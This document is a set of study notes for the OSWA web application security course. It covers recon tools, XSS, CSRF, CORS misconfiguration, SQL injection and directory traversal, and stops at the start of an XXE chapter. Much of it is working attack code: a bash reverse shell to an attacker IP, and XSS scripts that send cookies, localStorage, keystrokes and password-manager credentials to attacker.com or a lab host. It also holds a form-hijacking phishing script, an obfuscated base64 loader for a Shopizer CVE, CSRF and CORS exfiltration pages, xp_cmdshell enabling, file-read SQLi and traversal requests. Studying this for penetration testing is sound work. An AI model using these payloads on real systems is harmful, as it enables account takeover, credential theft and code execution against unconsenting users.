OSWA Course

OSWA Course Study Notes - Part 1

Chapter 2: Tools

Overview

Essential penetration testing tools for web application assessments. Focus on reconnaissance, scanning, and enumeration before exploitation.

System Configuration

Basic setup for targeting test environments via /etc/hosts entries.

# Edit hosts file
sudo mousepad /etc/hosts

# Example entries
192.168.50.101 offsecwp
192.168.50.102 execsandbox
192.168.121.101 xss-sandbox
192.168.121.102 shopizer

Why: Allows testing of multiple vulnerable environments on local network without DNS resolution.

Nmap - Network Scanning

Port scanning and service discovery for identifying running services.

# Basic scan
nmap -p- <target>

# Service version detection
nmap -sV <target>

# HTTP-related scripts
ls /usr/share/nmap/scripts | grep -i http

Why: Identifies open ports and running services that may be vulnerable web applications.

Burp Suite - Web Proxy & Testing

Intercept and analyze HTTP traffic for web application testing.

# Start Burp Suite
burpsuite

# Turn off Intercept in Proxy tab
# Open embedded browser with "Open Browser" button
# Configure proxy on port 8080

Features:

  • Proxy: Intercept requests/responses
  • Repeater: Resend modified requests
  • Intruder: Fuzz parameters with wordlists
  • Decoder: Encode/decode data (Base64, URL, etc.)
  • Site Map: View discovered resources

Why: Central platform for capturing, analyzing, and modifying HTTP traffic during assessments.

Gobuster - Directory Enumeration

Discover hidden files and directories via brute-force.

# Basic directory scan
gobuster dir -u http://target -w /usr/share/seclists/Discovery/Web-Content/common.txt

# With status code filtering
gobuster dir -u http://target -w wordlist.txt -s 200,301

Why: Uncovers hidden endpoints and administrative paths not linked from main pages.

Wfuzz - Parameter Fuzzing

Flexible fuzzing for discovering parameters, directories, and values.

# Fuzz directories
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  --hc 404,403,301 "http://target/FUZZ"

# Fuzz parameter names
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  --hc 404,301 "http://target?FUZZ=value"

# Fuzz POST parameters with password list
wfuzz -c -z file,/usr/share/seclists/Passwords/xato-net-10-million-passwords-100000.txt \
  --hc 404 -d "log=admin&pwd=FUZZ" --hh 7201 "http://target"

Why: Systematically tests many parameter combinations and values to find valid inputs.

Hakrawler - Web Crawler

Automated crawling to discover URLs and endpoints.

# Install hakrawler
which hakrawler

# Crawl target
echo "http://target" | ./hakrawler

# Crawl from URL list
cat urls.txt | ./hakrawler

Why: Automatically discovers application structure and entry points for testing.

Wordlists - SecLists

Pre-compiled lists of common values for fuzzing.

# Browse available lists
ls -lsa /usr/share/seclists/

# Common discovery wordlists
/usr/share/seclists/Discovery/Web-Content/common.txt
/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
/usr/share/seclists/Passwords/xato-net-10-million-passwords-100000.txt

Custom Wordlist Generation - CeWL

Generate custom wordlists from target website content.

# Install/check CeWL
cewl --help

# Generate wordlist from website
cewl -d 2 -m 5 http://target -o wordlist.txt

# Check generated wordlist
ls -lsa wordlist.txt
cat wordlist.txt

Why: Creates targeted wordlists with domain-specific terminology for more effective fuzzing.

Reverse Shells

Payloads for establishing reverse connections from target to attacker machine.

# Start listener (nc/netcat)
nc -lvnp 4444

# Start listener (bash)
bash -i >& /dev/tcp/192.168.49.51/4444 0>&1

# Common shell technologies: PHP, ASP, JSP, etc.

Why: Enables command execution on compromised systems once vulnerabilities are exploited.


Chapter 3: Cross-Site Scripting - Introduction and Discovery

Overview

XSS exploits trust users have in visited sites by injecting content dynamically rendered in browsers. Named misleadingly - doesn't require "cross-site" or "scripting"; better termed JavaScript/HTML injection.

Key Concept

Vulnerability exists in output, not input. Application must output untrusted input for XSS to work. Input filtering alone is insufficient - proper output encoding is required.

XSS Types

Classification by Persistence

  • Reflected: Payload only exploited via crafted link/redirect. Single victim.
  • Stored: Payload saved to database. Multiple victims via normal site navigation. More dangerous.

Classification by Location

  • Server XSS: Server appends untrusted input to HTML response
  • Client XSS: Client-side JavaScript appends untrusted input to DOM. Harder to discover (requires browser rendering).

JavaScript Fundamentals for Exploitation

Document API - Access Page Content

// Get input elements
let inputs = document.getElementsByTagName("input")

// Extract values
for (let input of inputs) {
  console.log(input.value)
}

// Query all forms
document.getElementsByTagName("form")

Why: Allows reading user inputs, passwords, and form data.

Window API - Global Context

// Access current URL
window.location

// Display alert (proof of concept)
alert("XSS")
window.alert("message")

Why: Can redirect users or display messages.

Event Listeners - Capture Keystrokes

function logKey(event) {
  console.log(event.key)
}

// Listen for keydown events
document.addEventListener('keydown', logKey)

Why: Captures user typing including passwords, messages, and search queries.

Fetch API - Exfiltrate Data

// Basic fetch request
fetch("http://attacker.com/endpoint")

// Include data in query string
fetch("http://attacker.com/k?key=" + event.key)

// Exfiltrate with encoding
let encodedCookie = encodeURIComponent(document.cookie)
fetch("http://attacker.com/exfil?data=" + encodedCookie)

Why: Sends captured data from victim's browser to attacker's server. Same-Origin Policy allows requests to attacker's domain.

Local Storage Access

// Convert localStorage to string
let data = JSON.stringify(localStorage)

// Encode and exfiltrate
let encodedData = encodeURIComponent(data)
fetch("http://attacker.com/exfil?data=" + encodedData)

Why: Extracts API keys, tokens, and sensitive data stored by web application.

XSS Discovery & Testing

Step 1: HTML Injection Test

First test if basic HTML tags render (lower risk than JavaScript).

# Test payload - inject in search parameter
<h1>test</h1>

Why: Confirms output is not escaped. If HTML renders, likely vulnerable to XSS.

Step 2: Reflected Server XSS

# Standard alert payload
<script>alert(0)</script>

# URL-encoded version
search.php?s=%3Cscript%3Ealert%280%29%3C%2Fscript%3E

Exploitation:

  1. Identify parameter that appears in response
  2. Inject JavaScript payload
  3. Confirm execution in your browser
  4. Use Burp Suite to verify server reflects payload in response
  5. Send crafted link to victim

Why: Server explicitly outputs unfiltered user input.

Step 3: Stored Server XSS

# Post comment with payload
<script>alert(0)</script>

# If filtered, try username parameter
<h1>John</h1><script>alert(0)</script>

Exploitation:

  1. Find POST parameter (comment, profile field, etc.)
  2. Test with HTML injection
  3. If HTML renders, inject JavaScript
  4. Payload stored in database and executed for all visitors

Why: Any user visiting page triggers exploit without special link.

Step 4: Client XSS (innerHTML Bypass)

Server responds with Welcome, User! but client JavaScript updates with URL parameter:

// Vulnerable pattern - innerHTML doesn't execute script tags
document.getElementById("welcome").innerHTML = userInput

HTML script tags won't execute via innerHTML. Use event handlers instead:

# Payload that bypasses innerHTML restriction
<img src='x' onerror='alert(1)'>

# Other event handlers
onload="alert(1)"
onfocus="alert(1)"
onclick="alert(1)"

Why: Event handlers execute when elements are added to DOM, even via innerHTML.

XSS Sandbox Testing Environment

Setup

# Add hosts entry
192.168.121.101 xss-sandbox

# Access at browser
http://xss-sandbox

Vulnerable Applications

  • Eval: JavaScript console auto-executed by victim
  • Search: Reflected server XSS
  • Blog: Stored server XSS with filtering
  • Survey: DOM/Client XSS
  • Donate/RSVP: Additional client XSS targets

Control Panel Options

  • Use HttpOnly Cookie
  • Use Non-HttpOnly Cookie
  • Blindly enter credentials (phishing simulation)
  • Used stored password (password manager simulation)
  • Simulate keystrokes
  • Data in Local Storage

Why: Allows testing exploits against simulated victims with various configurations.

Key Discovery Tools

Browser Console

# Open Firefox console
C + B + k

# Navigate to blank page first
about:blank

# Type "allow pasting" before pasting code

Why: Test JavaScript payloads locally before injecting into application.

Network Tab - Verify Client XSS

  1. Open Firefox Network tab (C+Shift+e)
  2. Reload page
  3. Click request
  4. View Response tab - confirms server didn't append payload
  5. Payload must be added by client JavaScript

Why: Distinguishes server XSS from client XSS.

Page Reset

# Visit reset endpoint to clear database
http://xss-sandbox/reset

Why: Clears stored XSS payloads to restart testing cleanly.


Chapter 4: Cross-Site Scripting - Exploitation and Case Study

Overview

Beyond proof-of-concept alerts. Real-world exploitation targets data exfiltration, credential theft, and unauthorized actions. Demonstrates actual attack vectors.

External Payload Loading

Instead of inline JavaScript in URL, load complex payloads from external server.

Setup Attacker Server

# Create directory
mkdir ~/xss
cd ~/xss

# Create simple JavaScript file
echo "alert(1)" > xss.js

# Start HTTP server
python3 -m http.server 80
# Server listens on port 80, serves files from ~/xss

Inject Script Tag

# Payload (reflected XSS)
<script src="http://192.168.49.51/xss.js"></script>

Why: Allows hosting complex exploits without URL encoding limits. External requests logged to attacker's server.

Non-HttpOnly Cookies

// xss.js - Exfiltrate cookies
let cookie = document.cookie
let encodedCookie = encodeURIComponent(cookie)
fetch("http://192.168.49.51/exfil?data=" + encodedCookie)

Why: Non-HttpOnly cookies accessible to JavaScript. Can be sent to attacker.

HttpOnly Cookies - Blocked

// This will return empty if HttpOnly flag set
document.cookie  // Result: empty string

Why: HttpOnly flag prevents JavaScript access. Browser protection against XSS.

Local Storage Exfiltration

// xss.js - Extract localStorage
let data = JSON.stringify(localStorage)
let encodedData = encodeURIComponent(data)
fetch("http://192.168.49.51/exfil?data=" + encodedData)

HTTP Log Output:

GET /exfil?data=%7B%22token%22%3A%22example-token%22%7D

Why: Applications store API keys and tokens in localStorage. JavaScript has full access.

Keylogging

Capture all keystrokes on the page while victim is viewing it.

// xss.js - Log every keystroke
function logKey(event) {
  fetch("http://192.168.49.51/k?key=" + event.key)
}

document.addEventListener('keydown', logKey)

HTTP Log Output:

GET /k?key=D
GET /k?key=i
GET /k?key=v
GET /k?key=o
GET /k?key=r
GET /k?key=c
GET /k?key=e

Why: Captures passwords, messages, search queries typed into page. Limited to current document only.

Password Manager Credential Theft

Password managers auto-fill username/password fields. Create hidden form fields to capture auto-filled credentials.

// xss.js - Create hidden login form for auto-fill
let body = document.getElementsByTagName("body")[0]

// Create username input
var u = document.createElement("input")
u.type = "text"
u.style.position = "fixed"
u.style.opacity = "0"  // Invisible

// Create password input
var p = document.createElement("input")
p.type = "password"
p.style.position = "fixed"
p.style.opacity = "0"  // Invisible

body.append(u)
body.append(p)

// Wait 5 seconds for password manager to auto-fill
setTimeout(function() {
  fetch("http://192.168.49.51/k?u=" + u.value + "&p=" + p.value)
}, 5000)

HTTP Log Output:

GET /k?u=Ryuggy&p=ShavedHeadsFTW

Why: Password managers auto-fill matching forms. Hidden inputs capture credentials undetected.

Phishing via Form Hijacking

Replace entire page content with fake login form. Redirect submission to attacker.

// xss.js - Fetch login page and redirect form
fetch("login").then(res => res.text().then(data => {
  // Replace entire page with login form
  document.getElementsByTagName("html")[0].innerHTML = data

  // Change form target to attacker server
  document.getElementsByTagName("form")[0].action = "http://192.168.49.51"

  // Use GET so credentials appear in URL logs
  document.getElementsByTagName("form")[0].method = "get"
}))

HTTP Log Output:

GET /?username=gullible&password=IMaybeGullibleButMyPasswordsAreStrong

Why: Users trust familiar login pages. Form hijacking captures credentials when user re-authenticates.

Case Study: Shopizer Reflected XSS (CVE-2021-33562)

Target Application

Open-source e-commerce platform (Java). Unauthenticated XSS vulnerability in product browsing.

Vulnerability Discovery

URL pattern identified:

http://shopizer:8080/shop/handbags?ref=c:2

Note: Parameter without ? prefix - embedded in path. The ref value appears in inline JavaScript.

Testing for Injection

Step 1: HTML Canary Test

# Add canary string to check reflection
?ref=c:2canary

Search page source for "canary" - if found, parameter is reflected in JavaScript.

Step 2: String Escape

# Inject single quote to break out of string
?ref=c:2'canary

Result: JavaScript syntax error. Confirms injection point but breaks page.

Step 3: Semicolon Blocked

# Try basic alert - blocked by firewall/server
?ref=c:2';alert(1);'canary
# Result: Request blocked - semicolon filtered

Step 4: Alternative Operators

# Use plus signs instead of semicolons
?ref=c:2'+alert(1)+'canary
# Result: Alert box displays - Success!

Why: Semicolons often filtered in URLs. Plus signs concatenate strings - valid JavaScript without semicolons.

External Payload Loading

Challenge: Complex payloads exceed URL length limits.

Detection: Application loads jQuery library.

// Use jQuery's getScript() to load external JavaScript
$.getScript('http://192.168.49.51/xss.js')

Problem: Special characters in URL get blocked.

Solution: Base64 encode the payload and decode at runtime.

# Payload to encode
$.getScript('http://192.168.49.51/xss.js')

# Base64 encode using Burp Decoder
alF1ZXJ5LmdldFNjcmlwdCgnaHR0cDovLzE5Mi4xNjguNDkuNTEveHNzLmpzJyk=

# Wrap in atob() to decode and eval() to execute
eval(atob('alF1ZXJ5LmdldFNjcmlwdCgnaHR0cDovLzE5Mi4xNjguNDkuNTEveHNzLmpzJyk='))

# Surround with quotes and plus signs to inject into string
?ref=c:2'+eval(atob('alF1ZXJ5LmdldFNjcmlwdCgnaHR0cDovLzE5Mi4xNjguNDkuNTEveHNzLmpzJyk='))+'canary

Problem: getScript() returns invalid characters in URL.

Solution: Base64 encode the response with btoa().

# Final payload
?ref=c:2'+btoa(eval(atob('alF1ZXJ5LmdldFNjcmlwdCgnaHR0cDovLzE5Mi4xNjguNDkuNTEveHNzLmpzJyk=')))+'canary

Why: Chained Base64 encoding/decoding allows complex payloads through restricted URLs.

Application-Specific Attack

Session Token Protection: JSESSIONID has HttpOnly flag - can't steal directly.

Alternative: Use XSS to make authenticated requests on behalf of victim.

Target Functionality: Shipping address change endpoint.

POST /shop/customer/updateAddress.html HTTP/1.1
Content-Type: application/x-www-form-urlencoded

customerId=&billingAddress=false&firstName=hax&lastName=hax&company=&address=hax&city=hax&country=AL&stateProvince=z&postalCode=z&phone=z&submitAddress=Change address

JavaScript Payload:

// xss.js - Change victim's shipping address
fetch('http://shopizer:8080/shop/customer/updateAddress.html', {
  method: 'POST',
  mode: 'same-origin',
  credentials: 'same-origin',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded'
  },
  body: 'customerId=&billingAddress=false&firstName=hax&lastName=hax&company=&address=hax&city=hax&country=AL&stateProvince=z&postalCode=z&phone=z&submitAddress=Change address'
})

Why: Browser automatically includes JSESSIONID cookie. Request appears to come from authenticated user.


Chapter 5: Cross-Origin Attacks

Overview

Attacks exploiting how browsers handle cross-origin requests and cookies. Targets authenticated sessions on vulnerable applications.

Same-Origin Policy (SOP)

Origin: Scheme + Domain + Port

https://example.com:443
https://example.com:8443  <- Different port = Different origin
https://sub.example.com   <- Different subdomain = Different origin
http://example.com        <- Different scheme = Different origin

Core Rules:

  • Script can access content from same origin without restriction
  • Script cannot read response from different origin (blocked by SOP)
  • Cookies automatically included in requests to same origin only

Important: Script CAN make request to different origin (no SOP block), but cannot read the response.

Same-Origin Only

// From https://example.com
fetch('https://example.com/api')  // Cookies included - SOP allows

Cross-Origin Requests

// From https://example.com
fetch('https://attacker.com')     // Request sent, but can't read response

Browser allows the request but blocks reading the response. However, cookies are NOT automatically included in cross-origin requests by default.

Controls when cookies are sent in cross-origin requests.

SameSite=Strict (Most Restrictive)

Set-Cookie: session=abc123; SameSite=Strict

Cookie not sent in ANY cross-origin requests, even top-level navigation.

SameSite=Lax (Default in Modern Browsers)

Set-Cookie: session=abc123; SameSite=Lax

Cookie sent only in:

  • Top-level navigation (link click, form submission via GET)
  • NOT in subresource requests (img, script, fetch, XMLHttpRequest from different origin)

SameSite=None (Least Restrictive)

Set-Cookie: session=abc123; SameSite=None; Secure

Cookie sent in all cross-origin requests. Requires HTTPS (Secure flag).

Cross-Site Request Forgery (CSRF)

Attack Vector: Trick authenticated user into making unwanted requests to vulnerable application.

Prerequisites

  1. User authenticated to target application
  2. User visits attacker's website
  3. Attacker's website makes request to target application
  4. Target application lacks CSRF protection

Exploitation Method 1: Form Auto-Submit

<!-- Attacker's website -->
<form action="http://target.com/transfer-money" method="POST">
  <input type="hidden" name="amount" value="1000">
  <input type="hidden" name="to_account" value="attacker">
</form>

<script>
  document.forms[0].submit()  // Auto-submit on page load
</script>

Why: Browser includes cookies in form submission. User's session cookie automatically sent with request.

Exploitation Method 2: Image Request (GET)

<!-- Attacker's website -->
<img src="http://target.com/api/transfer?amount=1000&to=attacker" style="display:none">

Why: Browser sends session cookies with image requests. Simple GET requests don't need forms.

CSRF Protection: CSRF Tokens

<!-- Protected form on target application -->
<form action="/transfer-money" method="POST">
  <input type="hidden" name="csrf_token" value="random-unique-token">
  <input type="text" name="amount">
  <input type="submit">
</form>

Why: Attacker cannot read CSRF token from different origin (SOP blocks reading response). Without token, request fails.

CSRF Protection: SameSite Cookies

Set-Cookie: session=abc123; SameSite=Lax

With SameSite=Lax, cookies not sent in cross-origin POST requests. Attacker can't make authenticated requests.

Case Study: Apache OFBiz CSRF (CVE-2020-5410)

Vulnerability

XML-RPC endpoint allows creating accounts without CSRF token. Lax SameSite cookie doesn't protect GET requests.

Exploitation

Attacker's Website:

<img src="http://target:8080/webtools/control/main?login.username=hacker&login.password=password&requirePasswordChange=N">

Why:

  • Target endpoint doesn't require CSRF token
  • SameSite=Lax allows cookies in top-level navigation
  • Hidden image loads silently, creating account

Mitigation

  • Implement CSRF token validation
  • Use SameSite=Strict for sensitive operations
  • Validate request origins

Cross-Origin Resource Sharing (CORS)

Purpose: Allow servers to explicitly permit cross-origin requests from specific domains.

How CORS Works

Browser Request with Origin Header:

GET /api/user HTTP/1.1
Host: example.com
Origin: https://attacker.com

Server Response with CORS Header:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true

{"username":"admin", "email":"admin@example.com"}

Result: Browser allows attacker.com to read the response.

Safe CORS Headers

Access-Control-Allow-Origin: https://trusted.com
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Credentials: false

Dangerous CORS Configuration 1: Wildcard Origin

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Problem: Any origin can access data. * with Credentials: true is invalid but some servers allow it.

Exploitation:

// Attacker's website
fetch('http://target.com/api/user', {
  credentials: 'include'
}).then(res => res.json()).then(data => {
  fetch('http://attacker.com/steal', {method: 'POST', body: JSON.stringify(data)})
})

Dangerous CORS Configuration 2: Dynamic Origin Validation

// Server reflects back user-provided Origin header
Access-Control-Allow-Origin: https://example.com  (from request)
Access-Control-Allow-Credentials: true

Problem: Server trusts all origins if they match a pattern.

Exploitation:

// Attacker's website at https://exampleXcom (looks like example.com)
fetch('http://target.com/api/user', {
  credentials: 'include'
})

Dangerous CORS Configuration 3: Null Origin

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Problem: Null origin can be generated by:

  • Data URLs
  • Sandboxed iframes
  • Cross-origin redirects

Exploitation:

<!-- Sandboxed iframe generates null origin -->
<iframe sandbox="allow-scripts" srcdoc="
  <script>
    fetch('http://target.com/api/admin', {credentials: 'include'})
      .then(r => r.text())
      .then(data => fetch('http://attacker.com/steal', {method: 'POST', body: data}))
  </script>
">
</iframe>

Why: Server accepts null origin, JavaScript executes in sandbox, credentials sent automatically.

CORS Exploitation Techniques

Exploit to Read Sensitive Data

// Attacker's website
fetch('http://target.com/api/user/profile', {
  method: 'GET',
  credentials: 'include'
}).then(res => res.json())
  .then(data => {
    // Send data to attacker's server
    fetch('http://attacker.com/exfil', {
      method: 'POST',
      body: JSON.stringify(data)
    })
  })

Exploit to Modify Data (if PUT/POST allowed)

// Change user email
fetch('http://target.com/api/user/email', {
  method: 'PUT',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({email: 'attacker@evil.com'})
})

Why: CORS allows browser to send any method if server permits. Credentials included if configured.

Bypass with Credentials in URL

Some APIs accept credentials in URL instead of cookies:

fetch('http://user:pass@target.com/api/data')

Why: Attacker can extract credentials if CORS misconfigured.

CORS Header Reference

HeaderValuePurpose
Access-Control-Allow-OriginURL/*/nullWhich origins can access response
Access-Control-Allow-Credentialstrue/falseInclude cookies/auth headers
Access-Control-Allow-MethodsGET, POST, PUT, DELETEWhich HTTP methods allowed
Access-Control-Allow-HeadersContent-Type, AuthorizationWhich headers allowed in request
Access-Control-Max-AgesecondsHow long to cache preflight response

CORS Preflight Requests

For "complex" requests, browser sends OPTIONS request first:

OPTIONS /api/data HTTP/1.1
Origin: https://attacker.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Content-Type

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Methods: POST
Access-Control-Allow-Headers: Content-Type

Why: Prevents old browsers/servers from receiving unwanted cross-origin requests.

Key Mitigation Strategies

  1. Implement CSRF tokens on state-changing operations
  2. Use SameSite cookies (Strict for sensitive, Lax for normal)
  3. Validate Origin/Referer headers server-side
  4. Never use CORS wildcard with credentials
  5. Whitelist specific origins instead of dynamic validation
  6. Avoid null origin if accepting CORS requests
  7. Implement proper authentication beyond cookies

OSWA Study Notes - Part 2: Chapters 6-9

Chapter 6: Introduction to SQL

SQL Fundamentals

SQL (Structured Query Language) is the standard language for interacting with relational databases. A relational database consists of tables with columns and rows. SQL injection occurs when unsanitized user input is inserted into queries and executed by the database, allowing attackers to break out of the original query and inject malicious actions.

Why this matters: Attackers can exploit SQL injection to bypass authentication, exfiltrate data, modify data, or write files to the server.

Basic SQL Syntax

SELECT * FROM menu;
SELECT * FROM menu WHERE id = 10;
SELECT * FROM menu WHERE LOWER(name) = LOWER('input_here');
SELECT * FROM menu WHERE LOWER(name) LIKE LOWER('%input_here%');

Why: These basic queries demonstrate SELECT statements, WHERE clauses, and string comparison functions.

MySQL Enumeration

Get database version:

select version();

Get current user:

select current_user();

List all databases:

select table_schema from information_schema.tables group by table_schema;

List tables in a database:

select table_name from information_schema.tables where table_schema = 'app';

Get column names and data types:

select column_name, data_type from information_schema.columns where table_schema = 'app' and table_name = 'menu';

Why: The information_schema database contains metadata about all databases, tables, and columns.

Microsoft SQL Server Enumeration

Get version:

select @@version;

Get current user:

SELECT SYSTEM_USER;

List databases:

SELECT name FROM sys.databases;

List tables in a database:

select * from app.information_schema.tables;

Get column names:

select COLUMN_NAME, DATA_TYPE from app.information_schema.columns where TABLE_NAME = 'menu';

Why: SQL Server uses sys catalog and @@version for enumeration, different from MySQL.

PostgreSQL Enumeration

Get version:

select version();

Get current user:

select current_user;

List databases:

select datname from pg_database;

List tables:

select table_name from app.information_schema.tables where table_schema = 'public';

Get columns:

select column_name, data_type from app.information_schema.columns where table_name = 'menu';

Why: PostgreSQL uses pg_database and information_schema for enumeration.

Oracle Database Enumeration

Get version:

select * from v$version;

Get current user:

select user from dual;

Important: Oracle requires a FROM clause with every SELECT; use DUAL (a dummy table) for selecting function results.

List schemas/users:

select owner from all_tables group by owner;

List tables in a schema:

select table_name from all_tables where owner = 'SYS' order by table_name;

Get columns:

select column_name, data_type from all_tab_columns where table_name = 'MENU';

Why: Oracle uses v$version, DUAL table, and all_tables/all_tab_columns for enumeration.


Chapter 7: SQL Injection

SQL Injection Fundamentals

SQL injection occurs when unsanitized user input is inserted into SQL queries. The attacker can "break out" of the intended query and inject malicious SQL code.

Example:

  • Intended query: SELECT * FROM menu WHERE id = 10
  • Input: 10 or id=11
  • Actual query: SELECT * FROM menu WHERE id = 10 or id = 11 (returns two rows)

Testing for SQL Injection

String Delimiter Testing

Test for injection by submitting single quotes:

Tostadas'

Resulting query with imbalanced quotes:

SELECT * FROM menu WHERE name = 'Tostadas''

Why: Three quotes cause a syntax error - the database expects a closing quote.

Escaping Functions and Closures

When SQL uses functions like LOWER(), you must close the function:

foo') or id=11--

Injected query:

SELECT * FROM menu WHERE LOWER(name) = LOWER('foo') or id=11-- ')

Why: The comment -- removes trailing syntax, preventing errors from extra parentheses and quotes.

LIKE Operator with Wildcards

Query with LIKE:

SELECT * FROM menu WHERE LOWER(name) LIKE LOWER('%input_here%')

Payload:

foo') or id=11--

Resulting query:

SELECT * FROM menu WHERE LOWER(name) LIKE LOWER('%foo') or id=11-- %')

Why: The wildcard % doesn't need escaping; only the quote and parenthesis are closed.

ORDER BY and Column Enumeration

Test sorting parameters:

SELECT * FROM menu ORDER BY 5 desc;

If 5 columns exist, this returns an error. Increment until error to determine column count.

Why: This enumerates the number of columns in the SELECT statement.

SQL Injection Discovery with wfuzz

wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/SQL.txt -d "db=mysql&id=FUZZ" -u http://sql-sandbox/api/intro

Useful payloads to look for:

  • 0 or 1=1 - Returns all rows
  • --'; - Creates syntax error

Why: Fuzzing with SQL wordlists identifies vulnerable parameters by looking for different response codes/sizes.

Exploiting SQL Injection

Error-Based Extraction

For MySQL, use ExtractValue() function:

extractvalue('',concat('>',version()))

Why: ExtractValue() expects valid XPath; an invalid one throws an error containing the concatenated data.

For Microsoft SQL Server, use CAST():

cast(@@version as integer)

Why: Converting a string to integer causes an error that displays the version.

For Oracle, use dbms_xmlgen.getxml():

to_char(dbms_xmlgen.getxml('select "'||(select substr(banner,0,30) from v$version where rownum=1)||'" from sys.dual'))

Why: Creates invalid column names in error messages that leak data.

UNION-Based Extraction

Determine column count and matching data types:

SELECT id, name, description, price FROM menu UNION ALL SELECT id, username, password, 0 from users

Why: UNION combines results from two queries; columns must match in count and type.

Stacked Queries

For PostgreSQL and MSSQL:

10; insert into users(id, username, password) values (1001,'hax','hax');

Why: Stacked queries execute multiple SQL statements sequentially. Useful for INSERT/UPDATE/DELETE when results aren't displayed.

File Reading and Writing

PostgreSQL - Create table and copy file contents:

create table tmp(data text);
copy tmp from '/etc/passwd';
select * from tmp;

Alternative using pg_read_file():

select pg_read_file('/etc/passwd')

Why: COPY reads files into tables; pg_read_file() reads without table creation.

MySQL - Write files with INTO OUTFILE:

SELECT * FROM users INTO OUTFILE '/var/lib/mysql-files/test.txt'

Read with LOAD_FILE():

SELECT LOAD_FILE('/var/lib/mysql-files/test.txt')

Why: INTO OUTFILE writes; LOAD_FILE() reads. Limited by secure_file_priv setting.

Remote Code Execution - Microsoft SQL Server

Enable xp_cmdshell:

EXECUTE sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
EXECUTE sp_configure 'xp_cmdshell', 1;
GO
RECONFIGURE;
GO

Execute commands:

EXECUTE xp_cmdshell 'command here';

Why: xp_cmdshell executes OS commands with SQL Server service account permissions.

Automated SQL Injection - sqlmap

Basic usage:

sqlmap -u http://sql-sandbox/sqlmap/api --method POST --data "db=mysql&name=taco&sort=id&order=asc" -p "name,sort,order"

Dump database:

sqlmap -u http://sql-sandbox/sqlmap/api --method POST --data "db=mysql&name=taco&sort=id&order=asc" -p "name,sort,order" --dbms=mysql --dump

Get OS shell:

sqlmap -u [url] --os-shell

Why: sqlmap automates SQL injection detection and exploitation across different database types.

Important: Use --flush-session when switching between databases.

Case Study: Piwigo Error-Based SQLi (CVE-2021-32615)

Vulnerable parameter: order[0][dir] in POST request

Initial test - confirm vulnerability:

asc,+extractvalue('',concat('>',version()))

Extract schema names using group_concat():

asc, extractvalue('',concat('>',(
select group_concat(table_schema)
from (
select table_schema
from information_schema.tables
group by table_schema)
as foo)
))

Extract table names:

asc, extractvalue('',concat('>',(
select group_concat(table_name)
from (
select table_name from information_schema.tables
where table_schema='piwigo')
as foo)
))

Extract column names:

asc, extractvalue('',concat('>',(
select group_concat(column_name)
from (
select column_name
from information_schema.columns
where table_schema='piwigo' and table_name='piwigo_users')
as foo)
))

Extract data with SUBSTRING() to handle 32-character XPATH error limit:

asc, extractvalue('',concat('>',(select substring(password,1,32) from piwigo_users limit 1 offset 0)))

Why: group_concat() aggregates multiple rows into one value for error-based extraction; SUBSTRING() extracts data in chunks.


Chapter 8: Directory Traversal Attacks

Directory Traversal Fundamentals

Directory traversal (path traversal, LFI - Local File Inclusion) occurs when applications perform file operations with unsanitized user input, allowing attackers to manipulate file paths and access unintended files.

Traversal Strings and Path Navigation

Traversal string basics:

cat ../../etc/passwd

../ = go up one directory ../../ = go up two directories

Why: Relative paths navigate the file system. Multiple ../ sequences traverse out of application directories.

URL Encoding

Common encodings for directory traversal:

  • %2F = / (forward slash)
  • %2E = . (dot)
  • %20 = (space)
  • %3D = = (equals)

URL-encoded traversal:

GET /files/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1

Why: URL encoding bypasses client-side validation and some server-side filters.

Relative vs. Absolute Pathing

Absolute Path: Starts from the filesystem root

cat /etc/group

Relative Path: Starts from current directory

cat group

When in /etc/:

  • Absolute: /etc/group (same result from anywhere)
  • Relative: group (only works from /etc/)

From /home/kali/ to reach /etc/group:

cat ../../etc/group

Why: Understanding both helps craft payloads for different application architectures.

Suggestive Parameters

Parameters that hint at file operations are good traversal targets:

?file=
?f=
/file/someFile
?location=
?l=
/location/someLocation
?search=
/search/someSearch
?download=

Why: Parameter names reveal intent; file-related parameters often handle unsanitized paths.

Directory Listing vs. Directory Traversal

Directory Listing: Can only view directory contents Directory Traversal: Can read file contents

Testing for directory traversal:

GET /var/www/html/data.txt

Using relative path:

GET /../../../etc/passwd

Why: Directory traversal is more severe; test for both capabilities.

Fuzzing with wfuzz

Basic fuzzing against directory traversal:

wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt http://dirTravSandbox:80/relativePathing.php?path=../../../../../../../../../../FUZZ

Filter out false positives:

wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt --hc 404 --hh 81,125 http://dirTravSandbox/relativePathing.php?path=../../../../../../../../../../../../FUZZ

Options:

  • -c = colored output
  • -z = payload source
  • --hc 404 = hide 404 responses
  • --hh 81,125 = hide responses of specific character sizes

Why: Fuzzing identifies accessible files; filtering reduces noise from false positives.

Case Study: Home Assistant Directory Traversal

Vulnerable endpoint: /fontawesome/

Accessing /etc/passwd:

GET /fontawesome/../../../../../../../../../../../../etc/passwd

Finding Home Assistant configuration:

GET /fontawesome/../../../../../../configuration.yaml

Fuzzing for system files:

wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt --hc 404 http://homeassistant:8123/fontawesome/../../../../../../../../../../../../FUZZ

Why: FontAwesome integration lacked input sanitization on the path parameter, allowing traversal to any file readable by the application.


Chapter 9: XML External Entities (XXE)

XML Fundamentals

XML documents contain markup (tags) and content. Basic XML structure:

<?xml version="1.0" encoding="UTF-8"?>
<contact>
  <firstName>Tom</firstName>
  <lastName>Jones</lastName>
</contact>

